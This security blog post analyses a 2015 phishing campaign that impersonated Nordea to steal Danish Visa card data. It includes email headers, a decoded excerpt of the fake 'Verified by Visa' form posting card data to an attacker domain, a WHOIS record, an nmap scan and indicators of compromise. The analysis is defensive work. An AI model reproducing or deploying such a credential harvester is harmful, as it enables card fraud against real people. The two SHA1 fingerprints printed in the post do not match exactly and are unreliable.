← Back to Blog
Live Campaign
Phishing Analysis
Sep 2015

Analysis of a
Phishing Email

A Nordea-impersonation campaign using a client-side credential harvester, base64-encoded payloads, and a freshly registered exfiltration domain — reported to Nordea fraud team and NC3 before publication.

Author Niel Nielsen
Published 28. jul. 2020
Campaign Date Sep 2015
Target Danish Visa Cardholders
Table of Contents

Attack Chain Overview

1
Spoofed Nordea email delivered
Sent from an unauthorized IP, failing SPF and DMARC. Impersonates Service@nordea.dk.
2
Victim clicks embedded link
Server responds with a data:text/html;base64,… URI containing the harvester page.
3
Harvester renders client-side
Fake "Verified by Visa" form executes in the victim's browser — not on the attacker's server — making origin tracing harder.
4
Card data POSTed to mozaboa.com
Card number, expiry, CVV, and CPR digits sent via POST. The form also live-validates against NETS/PBS servers — only valid cards stored.
01

Initial Indicators

The email appeared to originate from Service@nordea.dk. The first immediate red flag: I was not a Nordea customer. Unsolicited bank email to a non-customer is a near-certain phishing signal.

Further investigation revealed the campaign had only just launched — the phishing domain mozaboa.com was registered on September 3rd, 2015, the same month the email arrived.

Phishing email — received content
Phishing email content
Before publishing this analysis, the findings were reported to the Nordea fraud team and the Danish Cyber Crime Police Unit (NC3) to allow for takedown action.
02

Email Header — SPF & DMARC Failure

Inspecting the full email headers revealed that the sending IP 178.239.182.136 is not an authorized sender for the nordea.dk domain. Both SPF and DMARC checks fail.

Authentication-Results header
Email header
Authentication-Results: mx.google.com;
  spf=fail (google.com: domain of Service@nordea.dk does not
           designate 178.239.182.136 as permitted sender)
  smtp.mailfrom=Service@nordea.dk;
  dmarc=fail (p=NONE dis=NONE)
Both SPF and DMARC fail. The sending IP has no authorization to send on behalf of nordea.dk. Any mail gateway with strict DMARC enforcement would have rejected or quarantined this email automatically.
03

Base64 Payload Analysis

The link in the email does not redirect to a hosted page. Instead, the server responds with a data: URI containing a base64-encoded HTML document — the entire credential harvester is delivered inline, executing inside the victim's browser with no further server requests.

Server response (truncated)
data URI
data:text/html;base64,DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi1nYiIgLz4N
CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBj
aGFyc2V0PXdpbmRvd3MtMTI1MiIgLz4NCjx0aXRsZT5WZXJpZmllZCBCeSBWaXNhPC90aXRs
ZT4...
Decoded HTML — key excerpt
HTML (decoded)
<title>Verified By Visa</title>

<form name="passwdForm" method="post"
      action="http://mozaboa.com/doninfo/1.php">

<font style="color: rgb(0, 51, 127); font-weight: bold">
  Beskyt dit Visa kort ved internethandel   <!-- Danish: "Protect your Visa card" -->
</font>
Client-side execution means requests to the card validation backend (NETS/PBS) originate from the victim's IP address — not the attacker's server. This significantly complicates attribution from the payment processor's perspective.
04

Credential Harvester Page

The decoded payload renders a convincing fake "Verified by Visa" page targeting Danish cardholders. It collects card number, expiry date, CVV, and the last 4 digits of the victim's CPR number (Danish national ID).

Rendered phishing page — fake Verified by Visa
Phishing page rendered

Critically, the form fields include live validation links pointing to authenticationserver.pbs.dk — the legitimate NETS/PBS authentication server. This means the harvester actually validates the card against the real payment network before storing it, ensuring only live, valid cards end up in the attacker's database.

The form harvests: card number, expiry date (MM/YY), CVV, and last 4 CPR digits — sufficient for fraudulent card-not-present transactions. Only cards that pass NETS validation are retained.
05

Exfiltration Domain — WHOIS

The POST target mozaboa.com was registered the same month as the phishing campaign — a strong indicator this domain was purpose-built for this attack.

WHOIS record — mozaboa.com
WHOIS
Domain Name:     MOZABOA.COM
Registrar:       GODADDY.COM, LLC
Creation Date:   03-sep-2015     <-- same month as campaign
Updated Date:    03-sep-2015
Name Server:     NS75.DOMAINCONTROL.COM
Name Server:     NS76.DOMAINCONTROL.COM
Status:          clientDeleteProhibited
Status:          clientTransferProhibited
06

Server Recon — nmap

Scanning the sender IP 178.239.182.136 with nmap reveals three open ports, including an RDP service with a self-signed certificate issued just days before the campaign launched.

nmap — open ports on 178.239.182.136
nmap output
PORT       STATE  SERVICE
25/tcp     open   smtp
80/tcp     open   http        (IIS 8, standard)
3389/tcp   open   ms-wbt-server

RDP certificate details:
commonName:   flamingo          <-- self-signed
Issuer:       flamingo
Key:          RSA 2048-bit
Not before:  2015-09-27T01:19:32  <-- issued days before campaign
Not after:   2016-03-28T01:19:32
MD5:  32bc f68d 02b9 7572 ae9e 12c3 5f09 ed92
SHA1: 7089 aeef 4409 5cca b3f9 b861 102e 4625 7045 38b2
The open RDP port with a self-signed certificate represents a significant attack surface on the attacker's own infrastructure. Rather than exploiting it, the findings were handed to the relevant authorities. 🙂

07

Indicators of Compromise

Type Value Notes
IP 178.239.182.136 Sending server — unauthorized for nordea.dk
Domain mozaboa.com Exfiltration endpoint — registered Sep 3, 2015
URL mozaboa.com/doninfo/1.php POST target for harvested card data
Email Service@nordea.dk Spoofed sender address
Cert CN flamingo Self-signed RDP cert on attacker server, issued 2015-09-27
Hash (SHA1) 7089aeef44095ccab3f9b861102e462570453882 RDP certificate fingerprint

This campaign demonstrates a well-constructed, low-infrastructure phishing operation: a single freshly registered domain, client-side payload delivery to avoid server-side detection, and live card validation to maximize the value of harvested data.

The attacker's own remote administration surface — an exposed RDP port with a self-signed certificate — was ironically the weakest link in their setup.